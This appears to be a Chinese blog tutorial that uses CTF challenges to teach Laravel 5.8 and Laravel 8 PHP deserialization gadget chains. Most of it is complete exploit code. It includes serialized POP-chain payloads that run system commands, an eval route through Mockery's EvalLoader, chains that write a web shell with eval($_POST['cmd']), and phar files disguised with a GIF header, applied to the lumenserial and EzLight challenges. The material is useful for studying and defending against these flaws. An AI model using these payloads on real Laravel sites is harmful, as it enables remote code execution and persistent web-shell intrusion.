美文网首页
通过几道CTF题学习Laravel框架

通过几道CTF题学习Laravel框架

作者: 蚁景科技 | 来源:发表于2021-06-17 10:33 被阅读0次

    Laravel5.8.x反序列化POP链

    安装:其中--prefer-dist表示优先下载zip压缩包方式

    composer create-project --prefer-dist laravel/laravel=5.8.* laravel5.8

    在路由文件routes/web.php中添加

    Route::get('/foo', function () {

       if(isset($_GET['c'])){

           $code = $_GET['c'];

           unserialize($code);

       }

       else{

           highlight_file(__FILE__);

       }

       return "Test laravel5.8 pop";

    });

    然后在public目录起一个php服务就可以进行测试了

    cd /public

    php -S 0.0.0.0:port

    /foo?c=

    链一

    链的入口是在laravel5.8\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php

    public function __destruct()

       {

           $this->events->dispatch($this->event);

       }

    这里的$this->events和$this->event可控,这里把$this->events设为含有dispatch方法的Dispatcher类,我们看到laravel5.8\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php来

    public function dispatch($command)

       {

           if ($this->queueResolver && $this->commandShouldBeQueued($command)) {

               return $this->dispatchToQueue($command);

           }

           return $this->dispatchNow($command);

       }

    跟踪进commandShouldBeQueued

    protected function commandShouldBeQueued($command)

       {

           return $command instanceof ShouldQueue;

       }

    这里要求$command(即传进来的$this->event)要实现ShouldQueue该接口

    满足ShouldQueue接口的实现类即可,再跟踪进dispatchToQueue看一下

    public function dispatchToQueue($command)

       {

           $connection = $command->connection ?? null;

           $queue = call_user_func($this->queueResolver, $connection);

    这里的$this->queueResolver和$connection都是可控的,到这里就可以直接构造payload

    rce

    <?php

    namespace Illuminate\Broadcasting {

       class PendingBroadcast {

           protected $events;

           protected $event;

           public function __construct($events, $event) {

               $this->events = $events;

               $this->event = $event;

           }

       }

       class BroadcastEvent {

           public $connection;

           public function __construct($connection) {

               $this->connection = $connection;

           }

       }

    }

    namespace Illuminate\Bus {

       class Dispatcher {

           protected $queueResolver;

           public function __construct($queueResolver){

               $this->queueResolver = $queueResolver;

           }

       }

    }

    namespace {

       $c = new Illuminate\Broadcasting\BroadcastEvent('whoami');

       $b = new Illuminate\Bus\Dispatcher('system');

       $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);

       print(urlencode(serialize($a)));

    }

    eval执行

    到这里已经可以调用任意类的任意方法了,但是call_user_func无法执行eval函数,如果我们的system被ban了的话,就需要继续寻找执行任意命令的函数,我们找到laravel5.8\vendor\mockery\mockery\library\Mockery\Loader\EvalLoader.php

    class EvalLoader implements Loader

    {

       public function load(MockDefinition $definition)

       {

           if (class_exists($definition->getClassName(), false)) {

               return;

           }

           eval("?>" . $definition->getCode());

       }

    }

    这里有一个eval函数,这里需要绕过eval上面的if语句,否则直接就return了

    $definition变量是MockDefinition类,跟进一下

    class MockDefinition

    {

       protected $config;

       protected $code;

       ...

       public function getClassName()

       {

           return $this->config->getName();

       }

       public function getCode()

       {

           return $this->code;

       }

    }

    这里$code,$config可控,但是呢$definition->getClassName()需要一个不存在的类,我们找一个类其getName是可控的,然后构造一个不存在的类即可,如下

    laravel5.8\vendor\mockery\mockery\library\Mockery\Generator\MockConfiguration.php

    class MockConfiguration

    {

       ...

    public function getName()

       {

           return $this->name;

       }

       ...

    }

    payload如下

    <?php

    namespace Illuminate\Broadcasting{

       class PendingBroadcast{

           protected $events;

           protected $event;

           public function __construct($events, $event)

           {

               $this->event = $event;

               $this->events = $events;

           }

       }

    }

    namespace Illuminate\Broadcasting{

       class BroadcastEvent

       {

           public $connection;

           public function __construct($connection)

           {

               $this->connection = $connection;

           }

       }

    }

    namespace Illuminate\Bus{

       class Dispatcher

       {

           protected $queueResolver;

           public function __construct($queueResolver)

           {

               $this->queueResolver = $queueResolver;

           }

       }

    }

    namespace Mockery\Generator{

       class MockDefinition

       {

           protected $config;

           protected $code;

           public function __construct(MockConfiguration $config)

           {

               $this->config = $config;

               $this->code = '<?php phpinfo();?>';

           }

       }

    }

    namespace Mockery\Generator{

       class MockConfiguration

       {

           protected $name = "none class";

       }

    }

    namespace Mockery\Loader{

       class EvalLoader

       {

           public function load(MockDefinition $definition)

           {

           }

       }

    }

    namespace {

       $config = new \Mockery\Generator\MockConfiguration();

       $connection = new \Mockery\Generator\MockDefinition($config);

       $event = new \Illuminate\Broadcasting\BroadcastEvent($connection);

       $queueResolver = array(new \Mockery\Loader\EvalLoader(),"load");

       $events = new \Illuminate\Bus\Dispatcher($queueResolver);

       $pendingBroadcast = new \Illuminate\Broadcasting\PendingBroadcast($events, $event);

       echo urlencode(serialize($pendingBroadcast));

    }

    利用跳板

    如果说靶机禁用了system等函数,我们希望用file_put_contents写shell等双参数的函数呢,这里有一个好的跳板laravel5.8\vendor\phpoption\phpoption\src\PhpOption\LazyOption.php

    final class LazyOption extends Option

    {

       ...

       public function filter($callable)

       {

           return $this->option()->filter($callable);

       }

       ...

    private function option()

       {

           if (null === $this->option) {

               /** @var mixed */

               $option = call_user_func_array($this->callback, $this->arguments);

    这里的$this->callback,$this->arguments是可控的,但是注意到option的属性是private,无法直接从我们刚刚的call_user_func直接去调用它,但是有许多类似filter的函数里面有调用option的

    这里可以直接构造payload

    <?php

    namespace Illuminate\Broadcasting {

       class PendingBroadcast {

           protected $events;

           protected $event;

           public function __construct($events, $event) {

               $this->events = $events;

               $this->event = $event;

           }

       }

       class BroadcastEvent {

           public $connection;

           public function __construct($connection) {

               $this->connection = $connection;

           }

       }

    }

    namespace Illuminate\Bus {

       class Dispatcher {

           protected $queueResolver;

           public function __construct($queueResolver){

               $this->queueResolver = $queueResolver;

           }

       }

    }

    namespace PhpOption{

       final class LazyOption{

           private $callback;

           private $arguments;

           public function __construct($callback, $arguments)

           {

               $this->callback = $callback;

               $this->arguments = $arguments;

           }

       }

    }

    namespace {

       $d = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['cmd']) ?>"]);

       $c = new Illuminate\Broadcasting\BroadcastEvent('whoami');

       $b = new Illuminate\Bus\Dispatcher(array($d,"filter"));

       $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);

       print(urlencode(serialize($a)));

    }

    链二

    入口同样是

    public function __destruct()

       {

           $this->events->dispatch($this->event);

       }

    这里转换思路,找某个类没有实现dispatch方法却有__call方法,这里就可以直接调用,找到laravel5.8\vendor\laravel\framework\src\Illuminate\Validation\Validator.php

    class Validator implements ValidatorContract

    {

       ...

    public function __call($method, $parameters)

       {

           $rule = Str::snake(substr($method, 8));

           if (isset($this->extensions[$rule])) {

               return $this->callExtension($rule, $parameters);

           }

    这里的$method是固定的字符串dispatch,传到$rule的时候为空,然后$this->extensions可控

    跟踪进callExtension方法

    protected function callExtension($rule, $parameters)

       {

           $callback = $this->extensions[$rule];

           if (is_callable($callback)) {

               return call_user_func_array($callback, $parameters);

    $callback和$parameters可控,于是就可以构造payload了

    <?php

    namespace Illuminate\Broadcasting{

       class PendingBroadcast{

           protected $events;

           protected $event;

           public function __construct($events, $event)

           {

               $this->events = $events;

               $this->event = $event;

           }

       }

    }

    namespace Illuminate\Validation{

       class Validator{

           protected $extensions;

           public function __construct($extensions)

           {

               $this->extensions = $extensions;

           }

       }

    }

    namespace{

       $b = new Illuminate\Validation\Validator(array(''=>'system'));

       $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'id');

       echo urlencode(serialize($a));

    }

    这条链在Laravel8里面也是可以用的

    利用跳板

    和上面一样可以加LazyOption这个跳板

    <?php

    namespace Illuminate\Broadcasting {

       class PendingBroadcast {

           protected $events;

           protected $event;

           public function __construct($events, $event) {

               $this->events = $events;

               $this->event = $event;

           }

       }

    }

    namespace Illuminate\Validation {

       class Validator {

           public $extensions;

           public function __construct($extensions){

               $this->extensions = $extensions;

           }

       }

    }

    namespace PhpOption {

       class LazyOption {

           private $callback;

           private $arguments;

           public function __construct($callback, $arguments) {

               $this->callback = $callback;

               $this->arguments = $arguments;

           }

       }

    }

    namespace {

       $c = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['cmd']) ?>"]);

       $b = new Illuminate\Validation\Validator(array(''=>array($c, 'filter')));

       $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'whoami');

       print(urlencode(serialize($a)));

    }

    Laravel8反序列化POP链

    在下面参考链接文章中Laravel8有介绍三条链都很详细,链和上面Laravel5.8也差不太多,就不赘述,然后有一条可以phpnfo的,同样是经典入口类

    laravel859\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php

    public function __destruct()

       {

           $this->events->dispatch($this->event);

       }

    这里的$this->events和$this->event可控

    同样这里有两种方法,要不使$this->events为某个拥有dispatch方法的类,我们可以调用这个类的dispatch方法

    要不就使$this->events为某个类,并且该类没有实现dispatch方法却有__call方法,那么就可以调用这个__call方法了

    看到laravel859\vendor\laravel\framework\src\Illuminate\View\InvokableComponentVariable.php

    public function __call($method, $parameters)

       {

           return $this->__invoke()->{$method}(...$parameters);

       }

       /**

        * Resolve the variable.

        *

        * @return mixed

        */

       public function __invoke()

       {

           return call_user_func($this->callable);

       }

    这里的_call会直接调用__invoke,$this->callable也是我们可控的,不过这里只能调用phpinfo,比较鸡肋,payload如下

    <?php

    namespace Illuminate\Broadcasting {

       class PendingBroadcast {

           protected $events;

           protected $event;

           public function __construct($events, $event) {

               $this->events = $events;

               $this->event = $event;

           }

       }

    }

    namespace Illuminate\View {

       class InvokableComponentVariable {

           protected $callable;

           public function __construct($callable)

       {

           $this->callable = $callable;

       }

       }

    }

    namespace {

       $b = new Illuminate\View\InvokableComponentVariable('phpinfo');

       $a = new Illuminate\Broadcasting\PendingBroadcast($b, 1);

       print(urlencode(serialize($a)));

    }

    因为这里我们只能控制$this->callable,想要rce的话,还可以去找无参的方法里面带有call_user_func或者eval然后参数可控之类的,但是这里我找了好像没找到,读者有兴趣可以去试试

    CTF题目

    lumenserial

    lumenserial\routes\web.php先看到路由文件

    $router->get('/server/editor', 'EditorController@main');

    $router->post('/server/editor', 'EditorController@main');

    再看到

    lumenserial\app\Http\Controllers\EditorController.php

    class EditorController extends Controller

    {

    private function download($url)

       {

    ...

           $content = file_get_contents($url);

    发现这里的$url传进file_get_contents可以phar反序列化,然后$url的值来源于doCatchimage 方法中的 $sources 变量

    class EditorController extends Controller

    {

       ...

    protected function doCatchimage(Request $request)

       {

           $sources = $request->input($this->config['catcherFieldName']);

           $rets = [];

           if ($sources) {

               foreach ($sources as $url) {

                   $rets[] = $this->download($url);

               }

    我们看到main发现他是通过call_user_func来调用带do开头的方法

    class EditorController extends Controller

    {

       ...

    public function main(Request $request)

       {

           $action = $request->query('action');

           try {

               if (is_string($action) && method_exists($this, "do{$action}")) {

                   return call_user_func([$this, "do{$action}"], $request);

               } else {

    可以通过如下控制变量

    http://ip/server/editor/?action=Catchimage&source[]=phar://xxx.gif

    然后在上面的5.8链的基础加上如下

    @unlink("test.phar");

    $phar = new \Phar("test.phar");//后缀名必须为phar

    $phar->startBuffering();

    $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub

    $phar->setMetadata($pendingBroadcast);//将自定义的meta-data存入manifest

    $phar->addFromString("test.txt", "test");//添加要压缩的文件

    $phar->stopBuffering();

    上传phar文件再用phar协议打即可

    [HMBCTF 2021]EzLight

    给了source.zip源码,是laravel框架开发的lightcms,先在本地把环境搭起来先,主要是修改.env文件改改数据库信息

    先看到source\source\app\Http\Controllers\Admin\NEditorController.php

    public function catchImage(Request $request)

       {

       ...

       $files = array_unique((array) $request->post('file'));

           $urls = [];

           foreach ($files as $v) {

               $image = $this->fetchImageFile($v);

    在catchImage函数里面以post传给file参数再给到fetchImageFile的$url

    protected function fetchImageFile($url)

       {

       if (isWebp($data)) {

                   $image = Image::make(imagecreatefromwebp($url));

                   $extension = 'webp';

               } else {

                   $image = Image::make($data);

               }

    这里的$url可控,这里imagecreatefromwebp因为isWebp的限制无法进入,所以这里的分支是进入Image::make($data);来,我们在此处下一个断点,然后分析一下前面的代码,我们需要在vps上放一个图片的链接,然后在http://127.0.0.1:9001/admin/neditor/serve/catchImage传参数即可动态调试了

    然后一直跟进就可以发现有个file_get_contents函数

    至此结束,这里可以phar反序列化了

    用上面的链一即可

    <?php

    namespace Illuminate\Broadcasting {

        class PendingBroadcast {

            protected $events;

            protected $event;

            public function __construct($events, $event) {

                $this->events = $events;

                $this->event = $event;

            }

        }

        class BroadcastEvent {

            public $connection;

            public function __construct($connection) {

                $this->connection = $connection;

            }

        }

    }

    namespace Illuminate\Bus {

        class Dispatcher {

            protected $queueResolver;

            public function __construct($queueResolver){

                $this->queueResolver = $queueResolver;

            }

        }

    }

    namespace PhpOption{

        final class LazyOption{

            private $callback;

            private $arguments;

            public function __construct($callback, $arguments)

            {

                $this->callback = $callback;

                $this->arguments = $arguments;

            }

        }

    }

    namespace {

        $d = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php phpinfo();eval(\$_POST['cmd']);?>"]);

        $c = new Illuminate\Broadcasting\BroadcastEvent('whoami');

        $b = new Illuminate\Bus\Dispatcher(array($d,"filter"));

        $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);

        print(urlencode(serialize($a)));

        @unlink("test.phar");

        $phar = new \Phar("test.phar");//后缀名必须为phar

        $phar->startBuffering();

        $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub

        $phar->setMetadata($a);//将自定义的meta-data存入manifest

        $phar->addFromString("test.txt", "test");//添加要压缩的文件

        $phar->stopBuffering();

        rename('test.phar','test.jpg');

    }

    上传之后,在vps上放

    phar://./upload/image/202105/uwQGQ5sBTWRppO3lfHzOpxLkKODMS9NkrYHdobkz.gif

    再到/admin/neditor/serve/catchImage用file传参打就可以了

    本文涉及相关实验:PHP反序列化漏洞实验  (通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。)

    相关文章

      网友评论

          本文标题:通过几道CTF题学习Laravel框架

          本文链接:https://www.haomeiwen.com/subject/uvaqyltx.html